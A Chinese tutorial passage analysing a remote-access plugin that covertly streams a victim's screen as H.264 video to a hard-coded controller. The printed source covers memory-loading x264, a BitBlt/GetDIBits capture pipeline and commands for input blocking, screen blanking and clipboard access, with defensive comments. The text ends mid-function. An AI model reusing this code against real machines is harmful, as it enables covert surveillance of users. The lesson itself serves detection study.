第 33 课:主插件:娱乐屏幕
# 第 33 课:主插件:娱乐屏幕
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只做安全工程学习和防御分析。主插件\娱乐屏幕 的名字看起来不像“远程屏幕”,但源码显示它是一套 H.264 屏幕视频流链路:采集屏幕、转换像素格式、使用 x264 编码、通过队列发送 H.264 数据。它和第 24、25 课共同构成三种当前桌面屏幕采集模式:高速屏幕偏全量 JPEG/zlib 帧,差异屏幕偏变化块,娱乐屏幕偏 H.264 视频流。企业不能因为文件名看起来像娱乐功能就降低警惕。
# 1. 本课学习目标
读完本课,你应该能理解:
- 娱乐屏幕模块在整体工程中的角色。
- 为什么它要使用 H.264,而不是继续使用普通截图、JPEG 全量帧或简单差异块。
Capture如何通过BitBlt和GetDIBits采集屏幕像素。libyuv::ARGBToI420和 x264 编码在数据链路中的位置。CaptureWork、EncoderWork、OutPutWork三条线程如何通过队列解耦。- 企业如何检测屏幕采集、内存加载编码库、视频编码和持续上行流量。
# 2. 源码目录和文件
| 路径 | 作用 |
|---|---|
主插件\娱乐屏幕\娱乐屏幕.sln | 娱乐屏幕插件解决方案 |
主插件\娱乐屏幕\娱乐屏幕\娱乐屏幕.cpp | 插件入口、网络连接、导出函数 |
主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h | H.264 屏幕管理器、线程、队列、命令枚举 |
主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp | x264 加载、采集/编码/发送线程、命令处理 |
主插件\娱乐屏幕\娱乐屏幕\Capture.h | 屏幕采集类定义 |
主插件\娱乐屏幕\娱乐屏幕\Capture.cpp | DC 初始化、BitBlt、光标绘制、GetDIBits |
主插件\娱乐屏幕\娱乐屏幕\CaptureCommon.h/.cpp | 显示器枚举和 Monitor 结构 |
主插件\娱乐屏幕\娱乐屏幕\MemoryModule.h/.cpp | 内存加载模块逻辑 |
主插件\娱乐屏幕\娱乐屏幕\C_libx264-148_32.h、C_libx264-148_64.h | 内嵌 x264 二进制数据 |
主插件\娱乐屏幕\娱乐屏幕\libyuv.h、x264.h | 视频转换和编码接口 |
主插件\娱乐屏幕\娱乐屏幕\pkt_queue.h/.cpp | 队列结构 |
主插件\娱乐屏幕\娱乐屏幕\net_protocol.h | 视频流 READY 包结构 |
依赖说明: 本课的第三方依赖最集中:libyuv 用于把 BGRA/ARGB 像素转换为 x264 需要的 I420,x264 用于把原始视频帧编码成 H.264 NAL 数据,MemoryModule 用于从内存加载内嵌 x264 二进制。企业检测时要把“内存加载编码库、像素转换、视频编码、队列线程、网络发送”串成一条链;源码节选中的函数指针、队列对象和帧结构都会在注释里解释。

# 3. 这类插件为什么要单独讲:为什么使用 H.264
第 24、25 课分别讲了 JPEG/zlib 帧和差异块。娱乐屏幕模块是第三种当前桌面屏幕模式,它改成视频编码链路:
| 模块 | 数据形态 | 关键风险 |
|---|---|---|
| 高速屏幕 | JPEG/zlib 帧 | 高频图形采集和压缩上行 |
| 差异屏幕 | 首帧 + 差异块 | 低带宽周期屏幕泄露 |
| 娱乐屏幕 | H.264 视频流 | 视频编码库、队列线程、持续视频上行 |
娱乐屏幕的防御难点是:它更像视频会议或远程协助流量,单看网络大小不一定能区分合法和高风险,必须结合进程、图形 API、编码库和用户授权状态。
为什么这里要使用 H.264?可以先从数据量看起。以 1920 x 1080 的 32 位 BGRA 屏幕为例,单帧原始像素大约是:
1920 x 1080 x 4 = 8,294,400 字节,约 7.9 MB
如果按 30 FPS 持续传输,原始数据会接近:
7.9 MB x 30 = 237 MB/s
这对普通网络、远程查看和长期会话都不现实。第 31 课的 JPEG/zlib 可以压小每一帧,第 32 课的差异块可以只传变化区域,但它们各自有局限:
| 方案 | 适合情况 | 局限 |
|---|---|---|
| 原始 BGRA | 本地处理、临时缓冲 | 数据量极大,不适合持续网络发送 |
| JPEG/zlib | 快速发图、画面变化中等 | 每帧按图像压缩,难以充分利用前后帧相似性 |
| 差异块 | 办公桌面、小范围变化 | 大范围动画、视频播放、拖拽窗口时变化块会变多 |
| H.264 | 长时间连续屏幕流 | 依赖编码库,主机侧特征更明显,误报也更复杂 |
H.264 的优势在于它是视频编码,不只是图片压缩。它会把连续帧之间的相似性利用起来:关键帧提供完整参考,后续帧更多描述变化、运动和残差。源码里设置 ultrafast 和 zerolatency,说明它更偏向低延迟屏幕共享,而不是离线压缩成最小文件。
从安全工程角度看,使用 H.264 会带来更明确的检测线索:libyuv::ARGBToI420、x264_encoder_open、x264_encoder_encode、H.264 NAL 数据、三线程队列和持续上行。这些线索与 BitBlt / GetDIBits 关联后,比单独看到一个视频库更有价值。
# 4. 插件入口:连接后创建 CH264ScreenManager
入口文件仍然是连接成功后创建管理器。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\娱乐屏幕.cpp:7-48
// 防御分析注释:连接成功后创建 CH264ScreenManager。
// 后续风险重点在 H.264 编码链路和持续视频发送。
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("127.0.0.1"),
6666,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CH264ScreenManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
这段入口本身不复杂。关键是 CH264ScreenManager 里加载 x264、启动三条线程并持续发送视频数据。
# 5. H264ScreenManager 的能力面
头文件里定义了命令、帧结构、线程、队列和 x264 函数指针。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h:19-34
// 防御分析注释:命令面覆盖光标显示、屏幕重置、控制、黑屏、剪贴板和显示器切换。
// 本课只做风险归类,不提供触发方式。
enum
{
COMMAND_NEXT_H264CScreenSpyDlg,
COMMAND_h264_SHOW_Cursor,
COMMAND_h264_HIDE_Cursor,
COMMAND_h264_SCREEN_RESET,
COMMAND_h264_SCREEN_CONTROL,
COMMAND_h264_SCREEN_BLOCK_INPUT,
COMMAND_h264_SCREEN_BLANK,
COMMAND_h264_SCREEN_CAPTURE_LAYER,
COMMAND_h264_SCREEN_GET_CLIPBOARD,
COMMAND_h264_SCREEN_SET_CLIPBOARD,
COMMAND_h264_SCREEN_CHANGE_MONITORS,
TOKEN_H264SCREEN,
TOKEN_h264CLIPBOARD_TEXT,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
视频帧结构:
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h:49-74
// 防御分析注释:
// 1. YUV_FRAME 是编码前数据,来自 CaptureWork。
// 2. H264_FRAME 是编码后数据,来自 EncoderWork。
// 3. 两个结构分别进入 yuv_queue 和 h264_queue,形成“采集、编码、发送”解耦。
// 4. 解耦可以提升连续视频流稳定性,也让检测侧看到多个长期工作线程。
struct YUV_FRAME
{
// I420 像素缓冲。注意它已经不是 BGRA,而是 Y、U、V 三个平面。
uint8_t* frame_buffer;
// 采集相对时间戳,用于维持视频帧时间顺序。
unsigned long ms;
// x264 输入图像结构。plane[0..2] 会分别指向 Y/U/V 平面。
x264_picture_t pic;
};
struct H264_FRAME
{
// 是否关键帧。关键帧可作为完整参考帧,后续帧通常依赖它。
int b_keyframe;
// PTS/DTS 是视频流时间信息,说明这里已经进入视频编码语义。
__int64 i_pts;
__int64 i_dts;
// x264 输出的 H.264 载荷长度。
size_t payload_size;
// NAL 是 H.264 的基本封装单元。网络侧可能看到连续 NAL 类数据。
x264_nal_t nalt_s[24];
int nal_count;
// free_buffer 保留真实 malloc 地址,frame_buffer 指向实际载荷位置。
uint8_t* free_buffer;
uint8_t* frame_buffer;
// 与输入帧对应的采集时间。
unsigned long ms;
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
类成员:
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h:83-178
// 防御分析注释:
// 1. Capture 对象负责屏幕像素来源。
// 2. thread_capture / thread_encoder / thread_push 对应采集、编码、发送三段流水线。
// 3. yuv_queue / h264_queue 是线程之间的数据交接点。
// 4. x264 函数指针来自 MemoryGetProcAddress,说明编码库不是普通静态调用路径。
class CH264ScreenManager : public CManager
{
private:
std::vector<Monitor> monitors;
Monitor monitor;
Capture capture;
// 三条线程长期运行,使屏幕流不会被某个环节短暂阻塞拖垮。
HANDLE thread_capture;
HANDLE thread_encoder;
HANDLE thread_push;
// run_mark 控制三条线程的退出。
volatile bool run_mark;
// 采集线程产出 I420,编码线程消费 I420。
queue_root* yuv_queue;
HANDLE yuv_queue_event;
// 编码线程产出 H.264,发送线程消费 H.264。
queue_root* h264_queue;
HANDLE h264_queue_event;
// x264 编码器句柄和参数。检测时要把它们与屏幕采集行为关联。
x264_t* x264;
x264_param_t param;
public:
bool Init(const Monitor&, int fps, bool capture_cursor, int bitrate,
std::string& x264_preset, std::string& x264_tune, std::string& record_file);
void Start();
void StopClear();
private:
static unsigned int __stdcall CaptureWork(void* arg);
static unsigned int __stdcall EncoderWork(void* arg);
static unsigned int __stdcall OutPutWork(void* arg);
bool InitH264Encoder();
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 6. 构造函数:内存加载 x264
构造函数会根据平台选择内嵌 x264 数据,并通过 MemoryLoadLibrary 加载,然后取出编码函数地址。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:41-110
// 防御分析注释:
// 1. 构造函数是 H.264 屏幕流的启动点。
// 2. MemoryLoadLibrary 加载内嵌 x264 二进制数据,是供应链和内存模块检测重点。
// 3. MemoryGetProcAddress 解析 x264 函数,说明编码能力在运行期被装配起来。
// 4. 合法软件应使用清晰的依赖来源、签名、版本管理和用户授权提示。
CH264ScreenManager::CH264ScreenManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
#ifdef _WIN64
// 64 位进程加载 64 位 x264 内嵌数据。
// 防御侧要区分 32/64 位样本,因为内嵌数组和导出函数地址不同。
hdllmod = ::MemoryLoadLibrary(x264MyFileBuf, x264MyFileSize);
#else
// 32 位进程加载 32 位 x264 内嵌数据。
hdllmod = ::MemoryLoadLibrary(MyFileBuf, MyFileSize);
#endif
// 运行期解析 x264 函数。这里不是普通 LoadLibrary + GetProcAddress,
// 而是从内存模块解析导出函数,更适合纳入内存加载检测。
m_x264_encoder_close = (x264_encoder_close)MemoryGetProcAddress(hdllmod, "x264_encoder_close");
m_x264_picture_init = (x264_picture_init)MemoryGetProcAddress(hdllmod, "x264_picture_init");
m_x264_encoder_encode = (x264_encoder_encode)MemoryGetProcAddress(hdllmod, "x264_encoder_encode");
m_x264_param_default = (x264_param_default)MemoryGetProcAddress(hdllmod, "x264_param_default");
m_x264_param_default_preset = (x264_param_default_preset)MemoryGetProcAddress(hdllmod, "x264_param_default_preset");
m_x264_param_apply_profile = (x264_param_apply_profile)MemoryGetProcAddress(hdllmod, "x264_param_apply_profile");
m_x264_encoder_open = (x264_encoder_open)MemoryGetProcAddress(hdllmod, "x264_encoder_open_148");
// 这些状态属于远程屏幕会话控制面,不是 H.264 编码所必需。
// 因此它们是额外风险:视频查看能力和控制能力被放在同一模块。
m_bIsBlockInput = false;
m_hDeskTopDC = GetDC(NULL);
run_mark = false;
m_bIsBlankScreen = false;
// 默认 30 FPS、9000 码率,让这个模块更像实时视频流。
// 具体数值不用于复现,只用于理解源码意图和检测特征。
fps = 30;
btl = 9000;
switchMonitor = 1;
// ResetScreen 会枚举显示器、发送 READY 包、初始化编码器并启动三线程。
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ResetScreen, this, 0, 0);
// CtrlThread 维护黑屏、输入屏蔽和分辨率变化。
m_hCtrlThread = (HANDLE)_beginthreadex(NULL, 0, CtrlThread, this, 0, NULL);
m_buser = TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
这里有两个检测方向:
| 行为 | 防御含义 |
|---|---|
| 内嵌二进制数组 | 依赖库没有以普通 DLL 文件形式出现 |
MemoryLoadLibrary + MemoryGetProcAddress | 类似内存模块加载,应重点关注 |
| x264 函数指针 | 视频编码能力 |
| 默认 30 FPS | 更接近视频流 |
ResetScreen 线程 | 会话启动后准备采集链路 |
# 7. ResetScreen:准备显示器和 READY 包
ResetScreen 会枚举显示器,选择当前显示器,发送 READY 数据,然后初始化并启动视频流。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:113-148
// 防御分析注释:
// 1. ResetScreen 是一次视频会话准备过程。
// 2. 它发送 READY 元数据后,再初始化采集、编码、发送流水线。
// 3. 屏幕尺寸被调整为偶数,是因为 I420/H.264 对 4:2:0 色度平面更友好。
unsigned int __stdcall CH264ScreenManager::ResetScreen(void* arg)
{
CH264ScreenManager* pThis = (CH264ScreenManager*)arg;
// 停止旧会话,避免分辨率切换或显示器切换时旧线程继续发送。
ResetEvent(pThis->m_hEventDlgOpen);
pThis->StopClear();
// 枚举显示器并选择当前要采集的显示器。
pThis->monitors = GetMonitors();
pThis->capture_monitor = pThis->monitors[pThis->switchMonitor - 1];
// H.264 4:2:0 需要偶数宽高更稳定。
// 这里直接裁掉奇数边,属于编码适配逻辑。
if (pThis->capture_monitor.width % 2 == 1)
pThis->capture_monitor.width -= 1;
if (pThis->capture_monitor.height % 2 == 1)
pThis->capture_monitor.height -= 1;
// READY 包告诉接收端视频区域、宽高和显示器数量。
// 它不是画面内容,但它是屏幕视频流开始前的强元数据。
PacketReadyData readpkg;
readpkg.head.type = PACKET_TYPE_READY;
readpkg.head.len = sizeof(ReadyData);
readpkg.head.start_sign = PACKET_START_SING;
readpkg.i = int(pThis->monitors.size());
readpkg.data.video_L = pThis->capture_monitor.left;
readpkg.data.video_T = pThis->capture_monitor.top;
readpkg.data.video_w = pThis->capture_monitor.width;
readpkg.data.video_h = pThis->capture_monitor.height;
DWORD dwBytesLength = 1 + sizeof(PacketReadyData);
LPBYTE lpBuffer = new BYTE[dwBytesLength];
lpBuffer[0] = TOKEN_BITMAPINFO_PLAY;
memcpy(lpBuffer + 1, &readpkg, dwBytesLength - 1);
pThis->Send(lpBuffer, dwBytesLength);
SAFE_DELETE_AR(lpBuffer);
// ultrafast:牺牲压缩率换编码速度。
// zerolatency:减少编码延迟,更适合实时屏幕流。
std::string x264_preset = "ultrafast";
std::string x264_tune = "zerolatency";
std::string record_file = "1.mp4";
// 等待主控侧窗口准备好后再启动视频流。
pThis->WaitForDialogOpen();
// Init 创建编码器、采集器和队列;Start 启动三条线程。
pThis->Init(pThis->capture_monitor, pThis->fps, false, pThis->btl, x264_preset, x264_tune, record_file);
pThis->Start();
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
新手可以把 READY 包理解为“接收端渲染前需要知道视频区域大小”。它不是屏幕内容本身,但它暴露了屏幕流即将开始。
# 8. 显示器枚举
CaptureCommon.cpp 使用 EnumDisplayMonitors 枚举显示器,记录位置、尺寸和设备名。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\CaptureCommon.cpp:6-43
// 防御分析注释:多显示器枚举是屏幕采集前的常见准备动作。
// 与后续 BitBlt、编码和外联发送结合时风险更高。
BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData)
{
auto ret = (std::vector<Monitor>*)dwData;
Monitor monitor = {};
monitor.width = std::abs(lprcMonitor->right - lprcMonitor->left);
monitor.height = std::abs(lprcMonitor->bottom - lprcMonitor->top);
monitor.left = lprcMonitor->left;
monitor.top = lprcMonitor->top;
MONITORINFOEXA info;
info.cbSize = sizeof(info);
if (GetMonitorInfoA(hMonitor, (LPMONITORINFO)&info))
lstrcpyA(monitor.name, info.szDevice);
ret->push_back(monitor);
return TRUE;
}
std::vector<Monitor> GetMonitors()
{
std::vector<Monitor> ret;
EnumDisplayMonitors(NULL, NULL, MonitorEnumProc, (LPARAM)&ret);
return ret;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 9. 三线程视频管线
娱乐屏幕模块用三条线程拆开采集、编码和发送:
CaptureWork:采集 BGRA 帧,转换成 I420,写入 YUV 队列。EncoderWork:从 YUV 队列取帧,调用 x264 编码,写入 H.264 队列。OutPutWork:从 H.264 队列取帧,加TOKEN_H264SCREEN后发送。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:316-355
// 防御分析注释:
// 1. Init 负责准备编码器、采集器和两个队列。
// 2. Start 负责启动采集、编码、发送三条线程。
// 3. 这段代码说明娱乐屏幕是视频流水线,不是单函数截图。
bool CH264ScreenManager::Init(const Monitor& monitor, int fps, bool capture_cursor,
int bitrate, std::string& x264_preset, std::string& x264_tune, std::string& record_file)
{
// 保存会话参数。monitor 决定采集区域,fps/bitrate 决定视频流节奏和码率。
this->monitor = monitor;
this->fps = fps;
this->bitrate = bitrate;
this->record_file = record_file;
this->x264_preset = x264_preset;
this->x264_tune = x264_tune;
// 初始化 x264 编码器。失败时不会启动视频流。
if (!InitH264Encoder())
return false;
// 初始化屏幕采集器,内部会创建显示器 DC、兼容 DC 和位图。
if (capture.PartialInit(monitor, capture_cursor) != RETURN_SUCCESS)
return false;
// 两个事件分别唤醒编码线程和发送线程。
yuv_queue_event = CreateEvent(NULL, FALSE, FALSE, NULL);
h264_queue_event = CreateEvent(NULL, FALSE, FALSE, NULL);
// yuv_queue:采集线程 -> 编码线程。
// h264_queue:编码线程 -> 发送线程。
init_queue(&yuv_queue);
init_queue(&h264_queue);
return true;
}
void CH264ScreenManager::Start()
{
// run_mark 为 true 后,三个线程都会进入 while 循环。
run_mark = true;
// 先挂起创建,再统一 ResumeThread,减少启动顺序抖动。
thread_capture = (HANDLE)_beginthreadex(NULL, 0, CaptureWork, this, CREATE_SUSPENDED, NULL);
thread_encoder = (HANDLE)_beginthreadex(NULL, 0, EncoderWork, this, CREATE_SUSPENDED, NULL);
thread_push = (HANDLE)_beginthreadex(NULL, 0, OutPutWork, this, CREATE_SUSPENDED, NULL);
ResumeThread(thread_capture);
ResumeThread(thread_encoder);
ResumeThread(thread_push);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 10. 采集:BitBlt 和 GetDIBits
Capture 类负责采集屏幕区域。初始化时创建显示器 DC、兼容 DC 和位图;处理帧时用 BitBlt 拷贝屏幕,再用 GetDIBits 得到 BGRA 像素。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\Capture.cpp:25-76
// 防御分析注释:
// 1. PartialInit 准备显示器 DC、兼容 DC 和位图缓冲。
// 2. CreateDCA(monitor.name) 表示按显示器设备名取图,而不是只取默认桌面窗口。
// 3. bi.biBitCount = 32 说明采集阶段得到的是 BGRA/ARGB 类原始像素。
CAPTURE_RETURN Capture::PartialInit(const Monitor& monitor, bool capture_cursor)
{
// 保存采集目标显示器信息,包括位置、宽高和设备名。
this->monitor = monitor;
// 从显示器设备创建源 DC,后续 BitBlt 会从这个 DC 复制像素。
this->src_dc = CreateDCA(monitor.name, NULL, NULL, NULL);
if (this->src_dc == NULL)
return CREATEDC_FAILED;
// capture_dc 是内存兼容 DC,用来接收 BitBlt 复制出来的屏幕画面。
this->capture_dc = CreateCompatibleDC(this->src_dc);
// memdc / memdc1 主要用于光标叠加时处理掩码和彩色光标图。
memdc = CreateCompatibleDC(this->src_dc);
memdc1 = CreateCompatibleDC(this->src_dc);
// 创建与显示器 DC 兼容的位图,并选入 capture_dc。
// 后续 BitBlt 结果会进入这个位图。
this->capture_bitmap = CreateCompatibleBitmap(this->src_dc, monitor.capture_w, monitor.capture_h);
this->old_bmp = SelectObject(this->capture_dc, this->capture_bitmap);
this->capture_cursor = capture_cursor;
memset(&bi, 0, sizeof(bi));
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = monitor.capture_w;
// 负高度表示 top-down DIB,读取出来的像素顺序更适合视频编码处理。
bi.biHeight = -monitor.capture_h;
bi.biPlanes = 1;
// 32 位 BGRA/ARGB 是 libyuv::ARGBToI420 的输入来源。
bi.biBitCount = 32;
bi.biCompression = BI_RGB;
return RETURN_SUCCESS;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\Capture.cpp:103-147
// 防御分析注释:
// 1. PartialProcessFrame 每帧调用 BitBlt 和 GetDIBits。
// 2. BitBlt 把显示器画面复制到内存 DC,GetDIBits 把位图转成进程内存中的 BGRA。
// 3. 如果同进程随后调用 libyuv、x264 和网络发送,应按屏幕视频流处理。
CAPTURE_RETURN Capture::PartialProcessFrame(void* frame_buffer)
{
// 复制显示器指定区域到 capture_dc。
// 这里是每帧采集的起点,也是主机侧图形 API 检测的核心位置。
if (BitBlt(capture_dc, 0, 0, monitor.capture_w, monitor.capture_h,
this->src_dc, monitor.capture_x, monitor.capture_y, SRCCOPY) == FALSE)
return BITBLT_FAILED;
if (this->capture_cursor)
{
// 源码还会读取当前光标,并把光标图叠加到 capture_dc。
// 光标进入视频流后,会暴露用户操作焦点和当前操作状态。
}
// 把 capture_bitmap 中的像素读到 frame_buffer。
// frame_buffer 随后会进入 libyuv::ARGBToI420。
if (GetDIBits(this->src_dc, this->capture_bitmap, 0, (UINT)monitor.capture_h,
frame_buffer, (BITMAPINFO*)&bi, DIB_RGB_COLORS) != monitor.capture_h)
return BITBLT_FAILED;
return RETURN_SUCCESS;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 11. CaptureWork:BGRA 转 I420
采集线程把 BGRA 像素转换成 x264 需要的 I420 格式,然后放入 YUV 队列。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:357-458
// 防御分析注释:
// 1. CaptureWork 是高频屏幕采集线程。
// 2. 关键链路是 PartialProcessFrame -> ARGBToI420 -> queue_add。
// 3. 它把屏幕从“桌面像素”变成“x264 可编码的 I420 帧”。
unsigned int __stdcall CH264ScreenManager::CaptureWork(void* arg)
{
CH264ScreenManager* work = (CH264ScreenManager*)arg;
int video_width = work->monitor.capture_w;
int video_height = work->monitor.capture_h;
// 输入缓冲:BGRA/ARGB,每个像素 4 字节。
// 这是 GetDIBits 写入的原始屏幕像素。
int inbrga_size = video_width * video_height * 4;
uint8_t* inbrga = (uint8_t*)malloc(inbrga_size);
// I420 是 YUV 4:2:0:Y 平面全尺寸,U/V 平面各为 1/4 尺寸。
// 宽高为偶数时,U/V 平面计算更稳定。
int uv_w = (video_width + 1) / 2;
int uv_h = (video_height + 1) / 2;
int outi420_size = video_width * video_height + uv_w * uv_h * 2;
// interval_ms 控制采集节奏。默认 fps=30 时约 33ms 一帧。
unsigned long interval_ms = 1000 / work->fps;
unsigned long cur_time = timeGetTime();
unsigned long nextf_time = cur_time + interval_ms;
unsigned long start_ms = cur_time;
while (work->run_mark)
{
// 用 timeGetTime() 和 Sleep() 控制采集频率。
// 这能避免采集线程无限制抢占 CPU,也让网络流量更接近固定帧率视频。
cur_time = timeGetTime();
if (nextf_time > cur_time)
{
unsigned long sleep_ms = nextf_time - cur_time;
if (sleep_ms > 1)
Sleep(sleep_ms <= interval_ms ? sleep_ms : interval_ms);
else
Sleep(0);
}
nextf_time = cur_time + interval_ms;
YUV_FRAME* yuv_frame = new YUV_FRAME();
yuv_frame->ms = cur_time - start_ms;
// 采集一帧 BGRA。分辨率变化时触发 ResetScreen,重建编码器和采集器。
if (work->capture.PartialProcessFrame(inbrga) != RETURN_SUCCESS || work->ischaneg == true)
{
work->ischaneg = false;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ResetScreen, work, 0, 0);
break;
}
// 输出缓冲:I420,供 x264 输入。
uint8_t* outi420 = (uint8_t*)malloc(outi420_size);
uint8_t* dst_y = outi420;
uint8_t* dst_u = dst_y + video_width * video_height;
uint8_t* dst_v = dst_u + uv_w * uv_h;
// libyuv 的作用是做像素格式转换。
// x264 这里配置的是 X264_CSP_I420,因此不能直接把 BGRA 交给编码器。
libyuv::ARGBToI420(inbrga, video_width * 4,
dst_y, video_width,
dst_u, uv_w,
dst_v, uv_w,
video_width, video_height);
yuv_frame->frame_buffer = outi420;
work->m_x264_picture_init(&yuv_frame->pic);
// 告诉 x264:输入是 I420 三平面。
yuv_frame->pic.img.i_csp = X264_CSP_I420;
yuv_frame->pic.img.i_plane = 3;
yuv_frame->pic.img.plane[0] = outi420;
yuv_frame->pic.img.plane[1] = dst_u;
yuv_frame->pic.img.plane[2] = dst_v;
// 放入 YUV 队列,唤醒编码线程。
// 这是采集线程和编码线程的边界。
queue_add(work->yuv_queue, yuv_frame);
SetEvent(work->yuv_queue_event);
}
free(inbrga);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
检测上,ARGBToI420 是视频编码前的强信号。普通业务软件很少在未知插件线程中持续做屏幕采集、颜色空间转换和外联发送。
# 12. EncoderWork:x264 编码
编码线程从 YUV 队列取出帧,调用 x264 编码,复制 NAL 数据到新的 H.264 帧对象。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:460-548
// 防御分析注释:
// 1. x264_encoder_encode 是视频流形成的关键点。
// 2. 编码线程从 yuv_queue 取 I420 帧,输出 H.264 NAL 数据。
// 3. 对企业检测来说,它应和屏幕采集、内存加载 x264、网络发送关联。
unsigned int __stdcall CH264ScreenManager::EncoderWork(void* arg)
{
CH264ScreenManager* work = (CH264ScreenManager*)arg;
YUV_FRAME* yuv_frame;
x264_picture_t pic_out;
work->m_x264_picture_init(&pic_out);
while (work->run_mark)
{
// 从采集线程队列取一帧 I420。
// 队列为空时等待事件,避免空转占满 CPU。
yuv_frame = (YUV_FRAME*)queue_get(work->yuv_queue);
if (yuv_frame == NULL)
{
WaitForSingleObject((HANDLE)work->yuv_queue_event, 1000);
continue;
}
x264_nal_t* nals = NULL;
int nal_count;
// 把 I420 编码成 H.264。
// payload_size 是本次编码输出的总字节数,nals 是多个 NAL 单元。
int payload_size = work->m_x264_encoder_encode(work->x264, &nals, &nal_count, &yuv_frame->pic, &pic_out);
if (nal_count > 0)
{
H264_FRAME* h264_frame = new H264_FRAME();
h264_frame->b_keyframe = pic_out.b_keyframe;
h264_frame->i_pts = pic_out.i_pts;
h264_frame->i_dts = pic_out.i_dts;
h264_frame->payload_size = payload_size;
h264_frame->nal_count = nal_count;
// 多申请 4 字节是为了兼容代码里可能的 MP4 写入逻辑。
// 实际网络发送使用 frame_buffer 指向的 H.264 载荷。
h264_frame->free_buffer = (uint8_t*)malloc(h264_frame->payload_size + 4);
h264_frame->frame_buffer = h264_frame->free_buffer + 4;
// x264 返回的 NAL 缓冲在下一次编码后可能失效,因此这里复制一份。
memcpy(h264_frame->frame_buffer, nals[0].p_payload, h264_frame->payload_size);
// 放入 H.264 队列,唤醒发送线程。
queue_add(work->h264_queue, h264_frame);
SetEvent(work->h264_queue_event);
}
// 释放编码前的 I420 缓冲,避免持续视频流造成内存增长。
free(yuv_frame->frame_buffer);
delete yuv_frame;
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# 13. OutPutWork:封装并发送 H.264 数据
输出线程从 H.264 队列取帧,加上 TOKEN_H264SCREEN 后发送。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:550-618
// 防御分析注释:
// 1. TOKEN_H264SCREEN 是视频帧网络出口。
// 2. 网络侧看到的是 H.264 压缩数据,主机侧要结合采集和编码行为。
// 3. 如果只看网络包内容,很容易和合法视频流混淆。
unsigned int __stdcall CH264ScreenManager::OutPutWork(void* arg)
{
CH264ScreenManager* work = (CH264ScreenManager*)arg;
H264_FRAME* h264_frame = NULL;
while (work->run_mark)
{
// 从编码线程队列取 H.264 帧。
h264_frame = (H264_FRAME*)queue_get(work->h264_queue);
if (h264_frame == NULL)
{
WaitForSingleObject((HANDLE)work->h264_queue_event, 1000);
continue;
}
// 网络包格式:1 字节 TOKEN + H.264 载荷。
// 这里不再携带原始 BGRA 或 I420,说明屏幕内容已经视频压缩。
LPBYTE lpBuffer = new BYTE[h264_frame->payload_size + 1];
